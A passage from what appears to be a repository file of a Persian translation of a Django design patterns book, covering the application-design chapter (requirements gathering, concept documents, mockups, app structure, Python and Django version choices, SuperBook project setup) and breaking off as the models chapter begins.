    "content": "# طراحی برنامه \n\nدر این بخش، موضوعات زیر را پوشش می‌دهیم:\n\n- جمع‌آوری نیازمندی‌ها\n- ساخت یک سند کانسپت\n- ماکت‌های HTML \n- چگونه یک پروژه را به اپ‌های مختلف تقسیم کنیم\n- آیا یک اپ جدید بنویسیم یا یک اپ موجود را بازنویسی کنیم\n- بهینه‌‌ترین روش‌ها قبل از شروع یک پروژه\n- چرا پایتون ۳\n- کدام نسخه جنگو را استفاده کنیم\n- شروع پروژه SuperBook\n\nبسیاری از توسعه‌دهندگان یک پروژه جدید را با نوشتن کد آغاز می‌کنند. معمولاً چنین  روشی به برداشت‌های غلط، امکانات بی‌استفاده و اتلاف زمان منتهی می‌شود. صرف وقت برای فهمیدن نیازهای اصلی مشتری، حتی در یک پروژه کوچک از نظر زمانی، می‌تواند نتایج باورنکردنی داشته باشد. مدیریت نیازمندی‌ها یک مهارت کلیدی است که ارزش یادگیری دارد.\n\n## چگونه نیازمندی‌ها را جمع‌آوری کنیم؟\n\n_\"خلاقیت، بله گفتن به هر چیزی نیست، بلکه نه گفتن به هرچیزی غیر از ویژگی‌های بسیار مهم است.\"_\n\n_–استیو جابز_\n\nمن پروژه‌های محکوم به شکست بسیاری را فقط با گوش کردن دقیق به نیاز‌های مشتری و تعیین انتظارات درست، نجات داده‌ام. تنها سلاح من قلم وکاغذ (یا معادل دیجیتال آن) بوده است. فرآیند به طرز باورنکردنی ساده اما تأثیرگذار است. در اینجا چند نکته کلیدی آمده است تا در زمان جمع‌آوری نیازمندی‌ها به یاد داشته باشید:\n\n1. مستقیماً با صاحبان برنامه صحبت کنید حتی اگر از نظر فنی توانایی نداشته باشند.\n2. اطمینان پیدا کنید که کاملاً نیازهای آن‌ها را شنیده‌اید و یادداشت برداشته‌اید.\n3. از اصطلاحات تخصصی مانند _models_ استفاده نکنید. ساده صحبت کنید و از اصطلاحات آشنا برای کاربر مانند _پروفایل کاربری_ استفاده کنید.\n4. انتظارات درست ایجاد کنید. اگر چیزی از نظر فنی سخت یا غیرممکن است، مطمئن شوید که درست به مشتری توضیح داده‌اید.\n5. تا می‌توانید طراحی کنید. افراد به طور طبیعی با تصویر راحت‌تر هستند، وب‌سایت‌ها هم تصویری هستند. از خطوط ساده و چسباندن عکس استفاده کنید. لازم نیست همه چیز عالی باشد.\n6. فرآیندهایی مانند ثبت‌نام را به بخش‌های کوچک تقسیم کنید. هر عملکرد چند مرحله‌ای، باید در مستطیل‌هایی که با خط و فلش به هم وصل شده‌اند رسم شود.\n7. حالا، ویژگی‌های مورد نیاز برنامه را به صورتی لیستی از سناریوهای کاربری و در شکلی ساده و قابل خواندن جمع‌آوری کنید.\n8. سعی کنید نقش مؤثری در تقسیم ویژگی‌ها به سه اولویت بالا، متوسط و پایین، ایفا کنید.\n9. در قبول ویژگی جدید بسیار، بسیار محافظه‌کارانه برخورد کنید.\n10. بعد از جلسه، یادداشت‌های خود را با بقیه به اشتراک بگذارید تا از سوءتفاهم جلوگیری شود.\n\nجلسه اول طولانی خواهد بود (شاید یک کارگاه یک روزه یا یک جلسه چند ساعته). بعداً وقتی این جلسات تکرار شد می‌توانید آن‌ها را تبدیل به جلساتی نیم ساعته یا یک ساعته کنید.\n\nنتایج این جلسات احتمالاً یک صفحه نوشته و چند صفحه طراحی ضعیف خواهد بود. بعضی‌ها یک _wireframe_ که اسکلت اصلی وب‌سایت است نیز می‌سازند.\n\nدر این کتاب ما یک پروژه به نام SuperBook که یک شبکه اجتماعی برای ابرقهرمانان است می‌سازیم. یک وایرفریم ساده بر اساس صحبت‌های ما با چندین ابرقهرمان که به صورت اتفاقی انتخاب شده‌اند در اینجا آمده است:\n\n![](/02-%20Application%20Design/images/0.jpg) *یک وایرفریم از وبسایت سوپربوک به صورت ریسپانسیو - صفحه بندی دسکتاپ و موبایل*\n\n## آیا شما یک قصه‌گو هستید؟\n\nخب، خلاصه یک صفحه‌ای چیست؟ یک سند ساده است که شرح می‌دهد استفاده از سایت چه حسی دارد. تقریباً در تمام پروژه‌هایی که من با آن‌ها کار کرده‌ام وقتی فرد جدید وارد تیم می‌شود، اگر از آن‌ها خواسته شود که تمام اسناد را مطالعه کنند سریعاً دلسرد می‌شوند اما اگر قرار باشد فقط یک صفحه را مطالعه کنند تا بفهمند که هدف سایت چیست بسیار هیجان‌زده می‌شوند.\n\nشما می‌توانید به سند هر نامی که دوست دارید بدهید؛ سند کانسپت، سند نیازمندی‌های بازار، مستندات تجربه مشتری یا Epic Fragile StoryLog™ (در انتظار ثبت برند). واقعاً اهمیت خاصی ندارد.\n\nاین سند باید بر روی تجربه کاربر متمرکز باشد تا جزییات فنی یا نحوه پیاده‌سازی. این سند باید کوتاه و جذاب برای مطالعه کردن باشد. در واقع قانون شماره یک جوئل اسپاسکی برای سند نیازمندی‌ها _بامزه‌بودن_ است.\n\nاگر امکان دارد در مورد یک کاربر معمولی ( که در زبان بازاریابی پرسونا می‌گویند) بنویسید، مشکلاتی که آن‌‌ها مواجه می‌شوند و روشی که وب اپلیکیشن مشکل آن‌ها را برطرف می‌کند. تصور کنید که آن‌ها چطور تجربه خود را برای دیگران شرح خواهند داد. سعی کنید این تصویر را به‌دست آورید.\n\nاینجا یک سند کانسپت برای پروژه سوپربوک داریم:\n\n**_کانسپت سوپربوک_**\n\n_این مصاحبه پس از راه‌اندازی وب‌سایت ما سوپربوک، در آینده انجام شده است. یک تست کاربری ۳۰ دقیقه‌ای دقیقاً قبل از مصاحبه اجرا شده است._\n\n**_لطفا خودتان را معرفی کنید_**\n\n_ اسم من اَکسل است. من یک سنجاب خاکستری هستم که در مرکز نیویورک زندگی می‌کنم. همه من را اَکورن صدا می‌کنند.پدرم تی. بری که هنرمند شناخته‌شده هیپ هاپ بود من را به این نام صدا می‌کرد. فکر می‌کنم هیچ وقت این‌قدر خوب نمی‌خواندم که کسب‌ و کار خانوداگی را ادامه دهم. در واقع در ابتدا کمی عشق سرقت بودم.  می‌دانید که، من به فندق و مانند آن حساسیت دارم اما بقیه رفیق‌هایم راحت می‌خورند. آن‌ها می‌توانند به سادگی در هر پارکی زندگی کنند. من مجبورم خلاق باشم، کافه‌ها، سالن‌های سینما یا پارک‌های سرگرمی. من برچسب‌ها را به دقت می خوانم._\n\n***خب اکورن فکر می‌کنی که چرا برای تست کاربری انتخاب شده‌ای؟***\n\n_احتمالاً برای اینکه در برنامه ویژه NY Star که در مورد ابرقهرمانان کمتر شناخته شده‌بود شرکت کردم. به نظرم این برای مردم جالب بود که یک سنجاب می‌تواند از مک‌بوک استفاده کند (مصاحبه کننده: این مصاحبه از طریق چت انجام شده است). علاوه بر این، من دقت نظر یک سنجاب را دارم._\n\n![](/02-%20Application%20Design/images/1.png) ***بر اساس چیزی که دیده‌اید نظر شما در مورد سوپربوک چیست؟***\n\n_فکر می‌کنم که ایده فوق‌العاده‌ای است. منظورم این است که مردم معمولاً ابرقهرمانان را می‌بینند، با اینحال کسی به ‌آن‌ها توجهی ندارد. اکثر آن‌ها تنها و غیر اجتماعی هستند. سوپربوک می‌تواند این وضعیت را تغییر دهد._\n\n**_فکر می‌کنید که چه چیزی در سوپربوک متفاوت است؟_**\n\n_این سایت از ابتدا برای افرادی مانند ما ساخته شده است. منظورم این است که وقتی قرار است از هویت مخفی خود استفاده کنید مجبور نیستید موارد بی‌معنی مانند \"سابقه کار و تحصیلات\" را پر کنید. اگرچه که من چنین چیزی ندارم ولی می‌توانم بفهمم که چرا ممکن است یکی بخواهد این‌ کار را بکند._\n\n**_ممکن است به طور خلاصه برخی ویژگی‌هایی را که برای شما مهم بودند نام ببرید؟_**\n\n_بله حتماً، فکر می‌کنم این یک شبکه اجتماعی مناسب است که شما می‌توانید:_\n\n- _می‌توان با هر نوع نام کاربری ثبت نام کرد (دیگر عبارت احمقانه \"نام واقعی خود را وارد کنید\" را نمی‌بینیم)_\n- _طرفدارها می‌توانندافراد را دنبال کنند بدون آنکه مجبور باشند آن‌ها را به عنوان \"دوست\" اضافه کنند_\n- _می‌توان پست و کامنت ایجاد کرد و آن‌ها را بازنشر کرد_\n- _می‌توان یک پست خصوصی را برای دیگری ارسال کرد_\n\n\n\\* همه چیز ساده است. لازم نیست ابرقهرمان باشید تا با آن کار کنید. **آکورن، از وقتی که گذاشتی تشکر می‌کنیم. \\***\n\n## ماکت‌های HTML\n\nدر ابتدای ساخت وب اپلیکیشن‌ها، ابزارهایی مانند فوتوشاپ و Flash به طور گسترده‌ای استفاده می‌شدند تا ماکت‌هایی با کیفیت پیکسلی، ساخته شوند. الان به ندرت پیشنهاد می‌شوند یا مورد استفاده قرار می‌گیرند.\n\n\nامروزه ارائه یک تجربه یکسان بین موبایل، تبلت، لپ تاپ و سایر پلتفرم‌ها بسیار مهم‌تر از یک طراحی پیکسلی بسیار دقیق است. در واقع، اکثر طراحان وب مستقیماً صفحه‌بندی خود را به صورت HTML انجام می‌دهند.\n\nساختن یک ماکت HTML بسیار سریع‌تر و ساده‌تر از قبل است. اگر طراح وب شما در دسترس نیست، توسعه‌دهندگان می‌توانند از یک فریمورک CSS مانند Bootsrap یا ZURB Foundation برای ساخت یک ماکت مناسب و زیبا استفاده کنند.\n\nهدف از ساخت یک ماکت، ایجاد پیش‌نمایشی واقعی از وب‌سایت است. ماکت نباید بر جزییات متمرکز باشد بلکه باید به نسبت طراحی‌های خطی اولیه، به محصول نهایی نزدیک‌تر باشد و علاوه بر این تعاملی باشد. HTML ایستای خود را با اضافه کردن لینک و برخی تکه کدهای جاواسکریپتی ساده، پویاتر کنید.\n\nیک ماکت خوب می‌تواند تا ۸۰ درصد از تجربه کاربری نهایی را تنها با حدود ۱۰ درصد از توسعه اصلی، ایجاد کند.\n\n## طراحی اپلیکیشن\n\nوقتی که شما تصویر خوبی از آنچه لازم است بسازید، پیدا کردید، وقت آن است که به پیاده‌سازی آن در جنگو فکر کنید. الان شروع کدنویسی وسوسه‌انگیز است، با اینحال اگر چند دقیقه‌ای برای طراحی وقت بگذارید راه‌های بسیار متفاوتی برای حل مشکلات طراحی پیدا خواهید کرد.\n\nهنچنین شما می‌توانید ابتدا تست‌ها را طراحی کنید، همانطور که در متد **توسعه تست محور** (**Test-Driven Development**)، مطرح می‌شود. ما رویکرد TDD را در بخش ۱۱ _تست کردن و رفع مشکل_ بیشتر بررسی خواهیم کرد.\n\nهر رویکردی را که انتخاب کنید، خوب است که کمی توقف کنید و به این موضوعات فکر کنید:\n\n- راه‌های مختلف من برای پیاده‌سازی این اپلیکیشن چیست؟\n- مزایا و معایب آن چیست؟\n- در زمینه کار ما کدام فاکتورها مهم‌تر هستند؟\n- در نهایت، کدام رویکرد بهترین است؟\n\nبهترین طراحی‌ها اغلب در مجموع ظریف و هماهنگ هستند.این‌جاست که معمولاً الگوهای طراحی به شما کمک می‌کنند. کدهای خوب طراحی شده لزوماً برای خواندن، ساده نیستند اما برای توسعه و بهبود دادن ساده‌تر هستند.\n\nتوسعه‌دهندگان باتجربه جنگو، به کلیت پروژه از روش‌های مختلفی نگاه می‌کنند. این توسعه‌دهندگان با وفاداری به اصول DRY (شاید به خاطر اینکه تنبل شده‌اند)، همواره فکر می‌کنند آیا من این عملکرد را قبلاً دیده‌ام؟ مثلاً آیا این لاگین به کمک سوشیال را می‌توان به کمک یک پکیج کمکی مانند django-all-auth، پیاده‌سازی کرد؟\n\nاگر مجبور باشند که اپ را خودشان بنویسند، به امید پیدا کردن بهترین طراحی، به انواع الگوهای طراحی فکر می‌کنند. با این‌حال، در ابتدا نیاز است که یک پروژه را به اپ‌های کوچک تقسیم کنند.\n\n**تقسیم کردن پروژه به اپ‌ها**\n\nاپلیکیشن‌های جنگو، **پروژه** نامیده می‌شوند. یک پروژه از اپلیکیشن‌ها یا اپ‌های مختلفی تشکیل شده است. یک اپ، یک پکیج پایتونی است که مجموعه‌ای از ویژگی‌ها را برای یک هدف مشخص مانند ثبت‌نام یا تامبنیل عکس‌ها تأمین می‌کند.\n\nبه صورت ایده‌ال یک اپ باید چندبار مصرف باشد و به‌سادگی بتواند با سایر اپ‌ها ارتباط برقرار کند. شما می‌توانید به هر تعداد که بخواهید اپ بسازید. هرگز نگران اضافه کردن اپ‌های جدید یا بازنویسی اپ‌های موجود و تقسیم آن‌ها به چند اپ جدید نباشید. یک پروژه معمول جنگو از ۱۵ تا ۲۰ اپ تشکیل شده است.\n\nتصمیم مهم در این مقطع این است که از یک پکیج شخص ثالث استفاده کنید یا آن را از ابتدا بسازید. پکیج‌های شخص ثالث، که توسط شما نوشته نشده‌اند، آماده استفاده هستند. اکثر پکیج‌ها بسیار سریع نصب و تنظیم می‌شوند. شما می‌توانید ظرف چند دقیقه از آن‌ها استفاده کنید.\n\nدر سوی دیگر، اگر اپ خود را بنویسید به این معنی است که باید مدل‌ها، ویوها، تست‌ها و سایر موارد را خودتان بنویسید. جنگو بین این دو نوع از اپ هیچ تفاوتی قائل نیست.\n\n**استفاده مجدد یا نوشتن از اول؟**\n\nیکی از بزرگ‌ترین ویژگی‌های جنگو اکوسیستم اپ‌های شخص ثالث آن است. در زمان نوشتن این متن، [djangopackages.com](http://djangopackages.com/) بیش از ۳۵۰۰ پکیج را لیست کرده است. شما ممکن است در شرکتتان یا در کتابخانه‌های خصوصی حتی بیشتر از این هم پیدا کنید. زمانی که پروژه شما به اپ‌های کوچک تقسیم شود و بدانید که به چه نوع اپ‌هایی نیاز دارید، وقت فراهم کردن اپ‌ها است، چه آن‌ها را بنویسید یا اینکه از اپی موجود دوباره استفاده کنید.\n\nممکن است نصب و استفاده از یک اپ آماده ساده‌تر به نظر برسد، اما به همین سادگی هم نیست. بیایید برای پروژه خودمان نگاهی به چند اپ شخص ثالث اعتبارسنجی بیندازیم و دلایلی را که از آن‌ها برای پروژه سوپربوک استفاده نمی‌کنیم، فهرست کنیم:\n\n- **بیش از حد مهندسی شده برای نیازهای ما**: ما احساس می‌کنیم پکیج [python-social-auth](https://github.com/python-social-auth/social-app-django) با پشتیبانی لاگین به همه شبکه‌های اجتماعی، غیر ضروری است.\n- **بیش از حد مشخص شده**: استفاده از  [Django-Facebook ](http://django-facebook.readthedocs.io/en/latest/installation.html) به معنی آن است که اعتبارسنجی خودمان را به امکانات یک وب‌سایت مشخص گره بزنیم.\n- **ایجاد خرابی در سایر اپ‌ها **: بعضی از اپ‌ها ممکن است تأثیرات ناخواسته‌ای بر سایر اپ‌ها داشته باشند.\n- **وابستگی‌های پایتونی**: برخی از اپ‌ها وابستگی‌هایی دارند که به طور فعال به‌روزرسانی نمی‌شوند یا مورد تأیید نیستند.\n- **وابستگی‌های غیر پایتونی**: برخی اپ‌ها وابستگی‌های غیر پایتونی دارند مانند Redis و Node.js که سربارهایی برای انتشار وب‌سایت ایجاد می‌کنند.\n- **چندبار مصرف نبودن**: بسیاری از اپ‌های خودمان قابل استفاده نیستند چرا که برای استفاده مجدد نوشته نشده‌اند و استفاده چندباره از آن‌ها سخت است.\n\nهیچ‌کدام از این پکیج‌ها بد نیستند. این‌ها فقط نیاز فعلی ما را پاسخ نمی‌هند. این پکیج‌ها ممکن است برای پروژه دیگری مورد استفاده قرار بگیرند. در مسأله ما اپ پیش‌ساخته اعتبارسنجی جنگو، به خوبی کافی است.\n\nبه عبارت دیگر، شما ممکن است ترجیح دهید از یک اپ شخص ثالث به یکی از دلایل زیر استفاده کنید:\n\n- **DRY**: دوباره چرخ را اختراع نکنید. از مزایای اپ‌های متن باز و به خوبی تست‌شده که احتمالاً بهتر از آن چیزی است که بخواهید از ابتدا بنویسید، استفاده کنید.\n- **برای فهمیدن زیادی سخت است**: آیا نیاز است که مدل‌های شما یک درخت را شکل دهند اما همزمان از نظر دیتابیس بهینه باشند؟ از django-mptt استفاده کنید.\n- **بهترین یا توصیه شده‌ترین اپ برای یک هدف**: این توصیه‌ها در طول زمان تغییر می‌کنند، اما پکیجی مانند django-debug-toolbar، توصیه‌شده‌ترین پکیج برای رفع عیب است.\n- **باتری اضافه**: بسیاری احساس می‌کنند که پکیج‌هایی مانند django-model-utils و django-extensions باید بخشی از بدنه اصلی فریمورک جنگو باشد.\n- **حداقل وابستگی‌ها**: این همیشه نکته مثبتی است. اپ‌های کمتر به معنی تداخل ناخواسته کمتر بین سایر اپ‌هاست و نگرانی کمتری ایجاد می‌کند.\n\nخب، آیا باید از یک اپ استفاده دوباره کرد و زمان را صرفه‌جویی کرد یا اینکه باید از اول نوشت؟ من پیشنهاد می‌کنم که اول یک اپ شحص ثالث را در یک محیط آزمایشی، امتحان کنید. اگر یک توسعه‌دهنده متوسط جنگو هستید، بخش بعد به شما می‌گوید که چگونه اپ را در محیط آزمایشی بررسی کنید.\n\n**محیط آزمایشی اپ من**\n\nدر هر موقعیتی، شما با لیست متفاوتی از اپ‌های به دردبخور برای جنگو در پست‌های وبلاگی مواجه می‌شوید. با اینحال بهترین راه برای تصمیم‌گیری در مورد استفاده از یک پکیج در یک پروژه، **پروتوتایپ**‍ کردن آن است.\n\nحتی اگر شما یک محیط مجازی پایتون برای پروژه خود درست کرده باشید، نصب کردن و بررسی این اپ‌ها و بعد حذف آن‌ها، ممکن است باز هم محیط مجازی شما را کثیف کند. بنابراین من معمولاً یک محیط مجازی جداگانه با پسوند _sandbox_ می‌سازم که به طور اختصاصی برای بررسی پکیج‌هاست. یک پروژه کوچک هم می‌سازم تا بهتر متوجه شوم که استفاده از این پکیج خاص چطور به ساده شدن کارها کمک می‌کند.\n\nدر نهایت اگر از بررسی این اپ راضی بودم به کمک یک ابزار کنترل نسخه مانند گیت یک شاخه جدید برای اضافه کردن این اپ به پروژه، می‌سازم. سپس، کدنویسی و نوشتن تست‌ها را در این شاخه جدید ادامه می‌دهم تا ویژگی‌های لازم به پروژه اضافه شوند. در پایان این شاخه بازبینی شده و به شاخه اصلی اضافه می‌شود. \n\n**با کدام پکیج‌ها پروژه را بسازیم؟**\n\nبرای روشن شدن فرآیند، پروژه سوپربوک ما به طور کلی به اپ‌های زیر تقسیم می‌شود (البته لیست کامل نیست):\n\n- **اعتبارسنحی یا Authentication ** (اپ موجود django.auth) این اپ، ثبت‌نام، ورود و خروج کاربر را مدیریت می‌کند\n- **اکانت‌ها یا Accounts** (اپ اختصاصی) این اپ اطلاعات اضافی پروفایل کاربر را مدیریت می‌کند\n- **پست‌ها یا Posts** (اپ اختصاصی) این اپ پست‌ها و کامنت‌ها را مدیریت می‌کند\n\nدر این مرحله، هر اپی که قرار است از ابتدا ساخته شود (با برچسب اپ اختصاصی)، و یا از اپ‌های شخص ثالث استفاده شود (اپ موجود)، مشخص شده است. در مراحل پیشرفت پروژه، ممکن است این موارد تغییر کند. با این‌حال این لیست برای الان کافی است.\n\n## بهینه‌ترین روش‌ها قبل از شروع پروژه\n\nموقعی که یک محیط توسعه را آماده می‌کنید، مطمئن شوید که این ابزارها را فراهم کرده‌اید:\n\n- **یک محیط مجازی تازه پایتون**: پایتون ۳ به صورت پیش‌فرض دارای ماژول venv است یا اینکه می‌توانید virtualenv را نصب کنید. هر دو این‌ها جلوی آلوده شدن محیط عمومی کتابخانه‌های پایتون شما را می‌گیرند. اما [pipenv ](https://docs.pipenv.org/) ابزار پیشنهادی ماست (در این کتاب هم از آن استفاده می‌کنیم) تا وابستگی‌ها و محیط مجازی پروژه را کنترل کند. \n- **کنترل نسخه**: همیشه از یک ابزار کنترل نسخه مانند گیت یا Mercurial استفاده کنید. این ابزارها نجات‌دهنده هستند. به کمک آن‌ها بدون نگرانی و ترس می‌توانید تغییرات ایجاد کنید.\n- **انتخاب یک قالب برای پروژه**: قالب پیش‌فرض جنگو تنها انتخاب نیست. بر اساس نیازهایتان می‌توانید از قالب‌های دیگر مانند  [Edge ](https://github.com/pydanny/cookiecutter-django) یا  [Cookiecutter](https://github.com/pydanny/cookiecutter-django) استفاده کنید.\n- **پایپ لاین‌های انتشار**: من معمولاً کمی دیرتر نگران این موضوع می‌شوم. اما یک فرآیند انتشار سریع می‌تواند توسعه را سرعت ببخشد. من Fabric (یک نسخه پایتون ۳ به نام  fabric3 دارد) یا Ansible را ترجیح می‌دهم.\n\n## سوپربوک، مأموریتی که باید بپذیرید\n\nاین کتاب به رویکرد عملی و کاربردی برای پیاده‌سازی الگوهای طراحی جنگو و روش‌های بهینه آن، به کمک مثال‌ها، باور دارد. برای هماهنگی بیشتر، تمام مثال‌ها در مورد ساخت یک پروژه شبکه اجتماعی به نام سوپربوک است. \n\nسوپربوک، به طور خاص بر روی بخش ویژه و اغلب نادیده گرفته‌ شده‌ای از افرادی که دارای ابرقدرت‌های استثنایی هستند، متمرکز است. شما یکی از توسعه‌دهندگان تیمی متشکل از سایر توسعه‌دهندگان، طراحان وب، یک مدیر بازاریابی و یک مدیر پروژه هستید.\n\nپروژه روی آخرین نسخه پایتون (نسخه 3.6) و جنگو (نسخه 2.0) در زمان نوشتن کتاب، توسعه داده می‌شود. از آنجایی که انتخاب پایتون ۳ ممکن است موضوعی بحث برانگیز باشد، شایسته است که توضیح بیشتری داده شود.\n\n**چرا پایتون ۳؟**\n\nدر حالی که توسعه پایتون 3.0 در سال ۲۰۰۶ شروع شد، اولین نسخه آن در ۳ دسامبر ۲۰۰۸  منتشر شد. دلیل اصلی برای توسعه دادن یک نسخه هماهنگ با نسخه‌های قبلی این موارد بود: هماهنگی تمام رشته‌ها با یونیکد، افزایش استفاده از iteratorها، کنار گذاشتن ویژگی‌های منسوح شده مانند کلاس‌های قدیمی، و برخی قواعد دستوری جدید مانند عبارت‌های nonlocal. \n\nبازخوردها به پایتون ۳ در جامعه جنگو کمی درهم آمیخته بود. اگرچه تغییرات زبان بین نسخه ۲ و ۳ کم بود (و در طول زمان هم کاهش یافت)، انتقال تمام کدهای جنگو، یک مهاجرت واقعاً بزرگ بود.\n\nدر ۱۳ فوریه، جنگو 1.5، اولین نسخه منتشر شده‌ای بود که پایتون ۳ را پشتیبانی می‌کرد. توسعه‌دهندگان اصلی اعلام کرده‌اند که در آینده، جنگو فقط برای پایتون ۳ نوشته خواهد شد.\n\nبه دلایل زیر، پایتون ۳ انتخاب ایده‌آلی برای این کتاب است:\n\n- **دستور زبان بهتر**: دستور زبان پایتون ۳ بسیاری از دستورات زشت مانند _izip_، _xrange_ و \\_\\_unicode\\_\\_ را با دستورات تمیزتری مانند zip، range و \\_\\_str\\_\\_ جابجا کرده‌است.\n\n- **حمایت شخص ثالث کافی**: بیش از ۹۰ درصد از ۲۰۰ کتابخانه مهم شخص ثالث، از پایتون ۳ پشتیبانی می‌کنند (به Python 3 Wall of Superpowers نگاهی بیندازید).\n- **نداشتن کد قدیمی**: ما یک پروژه را از ابتدا شروع می‌کنیم و نیازی نداریم با کدهای باقی مانده از قبل سر و کار داشته باشیم.\n- **زبان پیش‌فرض در پلتفرم‌های جدید**: الان به صورت پیش‌فرض مفسر پایتون ۳ در Arch Linux وجود دارد و اوبونتو و فدورا هم در نسخه‌های بعدی آن را به صورت پیش‌فرض فعال خواهند کرد.\n- **ساده‌تر است**: از دیدگاه توسعه بر اساس جنگو، تغییرات این دو بسیار کم هستند و می‌توان ظرف چند دقیقه آن‌ها را فرا گرفت.\n\nنکته آخر مهم است. حتی اگر شما از پایتون ۲ استفاده کنید، این کتاب برای شما قابل استفاده است. ضمیمه A را بخوانید تا تفاوت‌ها را بفهمید. لازم است تغییرات کمی بدهید تا کدها را برای پایتون ۲ آماده کنید.\n\n**کدام نسخه جنگو را استفاده کنیم**\n\nجنگو الان یک برنامه زمانی استاندارد شده برای توسعه در سه مدل مختلف دارد:\n\n- **نسخه ویژگی‌ (Feature)**: این نسخه‌ها ویژگی‌های جدید دارند یا ویژگی‌های موجود را ارتقا داده‌اند. این نسخه‌ها هر ۸ ماه یک‌بار منتشر می‌شوند و یک پشتیبانی ۱۶ ماهه از زمان انتشار دارند. شماره‌های آن‌ها به صورت A.B است (دقت کنید که نسخه مینور ندارند)\n- **نسخه پشتیبانی بلندمدت(Long-Term Support)**: این‌ها یک نوع خاص از نسخه ویژگی هستند که یک دوره پشتیبانی ۳ ساله از زمان انتشار دارند. این نسخه‌ها هر دو سال یکبار منتشر می‌شوند. شماره این نسخه‌ها به شکل A.2 است (هر سه نسخه ویژگی، یک نسخه LTS خواهد بود). نسخه‌های بلند مدت، چند ماه با هم همپوشانی دارند تا مهاجرت از یک نسخه به نسخه دیگر با آرامش انجام شود.\n- **نسخه رفع عیب (Patch)**: این نسخه‌ها برای رفع عیب یا اصلاح مشکلات امنیتی هستند. این نسخه‌ها بلافاصه منتشر می‌شوند. چون به طور معمول تغییرات زیادی ندارند به‌روزرسانی به این نسخه‌ها معمولاً بدون مشکل است. این نسخه‌ها شماره‌هایی به شکل A.B.C دارند.\n\nاین نقشه راه توسعه جنگو، تصویر شفاف‌تری از رویکرد توسعه جنگو ارائه می‌دهد:\n\n![](/02-%20Application%20Design/images/2.png)\n\nنقشه انتشار نسخه‌های جنگو\n\nجنگو 1.11 LTS آخرین نسخه‌ای خواهد بود که پایتون ۲ را پشتیبانی می‌کند و این نسخه تا آپریل ۲۰۲۰ پشتیبانی خواهد شد. نسخه‌های بعدی فقط از پایتون ۳ پشتیبانی خواهند کرد.\n\nیک نسخه جنگو مناسب برای شما، بستگی به این دارد که هر چند وقت بک‌بار می‌توانید جنگو را آپدیت کنید و به کدام ویژگی‌ها نیاز دارید. اگر پروژه شما به صورت فعال در حال توسعه است و نسخه جنگو می‌تواند هر ۱۶ ماه یکبار آپدیت شود، پس شما می‌توانید آخرین نسخه ویژگی را نصب کنید فارغ از اینکه LTS هست یا نه.\n\nدر غیر اینصورت، اگر پروژه شما فقط گاهی توسعه داده می‌شود، پس باید آخرین نسخه LTS را انتخاب کنید. به روزرسانی وابستگی‌های پروژه جنگو از یک نسخه ویژگی به نسخه ویژگی دیگر ممکن است تلاشی غیر ضروری باشد. بنابراین توضیحات هر نسخه را مطالعه کنید و براساس آن برنامه‌ریزی کنید.\n\nاین کتاب تا حد ممکن از امکانات جنگو 2.0 استفاده می‌کند.\n\n**شروع پروژه**\n\nاین بخش دارای دستورالعمل‌های نصب پروژه سوپربوک است که شامل تمام کدهای استفاده شده در کتاب است. می‌توانید برای دیدن آخرین یادداشت‌ها در مورد نصب پروژه، فایل README.md را در [گیتهاب](https://github.com/DjangoPatternsBook/superbook2) ببینید. ما از ابزار pipenv برای ساخت یک محیط مجازی و نصب وابستگی‌ها استفاده می‌کنیم.\n\n![](images/3.png) _برای هر پروژه جنگو یک محیط مجازی جداگانه بسازید_\n\nابتدا، پروژه را از گیتهاب کپی کنید:\n\n**$ git clone https://github.com/DjangoPatternsBook/superbook2.git**\n\nسپس، pipenv را بر اساس توصیه مستندات خودش، به صورت لوکال یا به صورت عمومی، اما خارج از virtualenv، به کمک دستورات زیر نصب کنید:\n\n**$ pip install -U pip $ pip install pipenv![](gd2nxz3p.008.png)**\n\nحالا به پوشه پروژه بروید و وابستگی‌ها را نصب کنید:\n\n**$ cd superbook2!**\n\n**$ pipenv install --dev**\n\nسپس وارد شل بشوید تا از محیط مجازی تازه ساخته شده با تمام وابستگی‌ها، استفاده کنید:\n\n**$ pipenv shell**\n\nدر نهایت، پروژه را با دستورات مدیریتی جنگو، اجرا کنید:\n\n**$ cd src**\n\n**$ python manage.py migrate**\n\n**$ python manage.py createsuperuser** \n\n**$ python manage.py runserver**\n\nمی‌توانید به آدرس http://127.0.0.1:8000 که در ترمینال نمایش داده‌شده بروید و از وب‌سایت استفاده کنید.\n\n## خلاصه\n\nتازه‌کارها معمولاً یک فرآیند جمع‌آوری نیازمندی‌های خوب را دست‌کم می‌گیرند. همزمان بسیار مهم است که بیش از حد درگیر جزییات نشد، چرا که برنامه‌نویسی ذاتاً یک فرآیند اکتشافی است. پروژه‌های موفق، پیش از توسعه، زمان مناسبی را برای برنامه‌ریزی و آماده‌سازی صرف می‌کنند در نتیجه بیشترین منافع را ایجاد می‌کنند.\n\nما درمورد جنبه‌های مختلفی از طراحی اپلیکیشن بحث کردیم مانند ساختن ماکت تعاملی یا تقسیم پروژه به بخش‌های چندبار مصرف به نام اپ. همچنین برای پروژه مثالی سوپربوک، مراحل راه‌اندازی را مطرح کردیم.\n\nدر بخش‌های بعدی به هر قسمت از جنگو با جزییات بیشتری نگاه خواهیم کرد و الگوهای طراحی و روش‌های بهینه در مورد آن‌ها را یاد خواهیم گرفت.\n"
  },
  {
    "path": "03-Models/README.md",
    "content": "# مدل‌ها\n\nدر این بخش به بحث‌های زیر می‌پردازیم:\n\n- اهمیت مدل‌ها\n- نمودار کلاس‌ها\n- الگوی‌های ساختاری مدل\n- الگوهای رفتاری مدل \n- مایگریشن‌ها (مهاجرت‌ها)\n\nمن یک بار به یک استارت آپ تحلیل داده، در مراحل اولیه‌شان مشاوره دادم. با وجود اینکه گرفتن دیتا به یک بازه زمانی اخیر محدود شده بود، آن‌ها مشکلات کارایی(performance) داشتند. باز کردن برخی صفحات بعضی اوقات چند ثانیه طول می‌کشید. بعد از بررسی معماری‌شان، به تظر می‌آمد که مشکل از مدل داده‌شان بود. در عین حال، مهاجرت کردن(migrating) و تبدیل پتابایت‌هایی از دیتای ساختاریافته و زنده، غیر ممکن به نظر می‌رسید.\n\n> \"فلوچارت خود را به من نشان بدهید و جداول خود را پنهان کنید و من همچنان مبهوت خواهم ماند.\nجداول خود را به من نشان دهید و من معمولاً نیازی به فلوچارت‌ها نخواهم داشت، آن‌ها آشکار خواهند بود.\" (فرد بروکز، The Mythical Man-month)\n\nبه طور سنتی، طراحی کد بر اساس داده‌های فکر شده همیشه توصیه می‌شود. اما در این عصر داده‌های بزرگ، این توصیه‌ها مرتبط‌تر هم شده است. اگر مدل داده شما ضعیف طراحی شده باشد، حجم داده‌ها در نهایت باعث مشکلات مقیاس پذیری و 